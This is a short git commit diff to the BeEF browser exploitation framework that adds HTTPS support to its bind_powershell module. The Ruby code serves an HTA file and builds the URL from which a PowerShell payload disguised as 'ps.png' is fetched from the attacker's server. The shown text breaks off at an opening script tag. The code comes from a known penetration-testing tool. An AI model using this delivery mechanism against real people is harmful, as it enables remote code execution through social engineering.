add https support to bind_powershell

This commit is contained in:
Matthew C Jones
2018-01-17 17:21:24 -05:00
parent e0c46baea1
commit 870afd617e

View File

@@ -30,8 +30,9 @@ module BeEF
response['Content-Type'] = "application/hta"
host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host')
port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port')
proto = BeEF::Core::Configuration.instance.get("beef.http.https.enable") == true ? "https" : "http"
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
payload_url = "http://#{host}:#{port}#{ps_url}/ps.png"
payload_url = "#{proto}://#{host}:#{port}#{ps_url}/ps.png"
print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}"
"<script>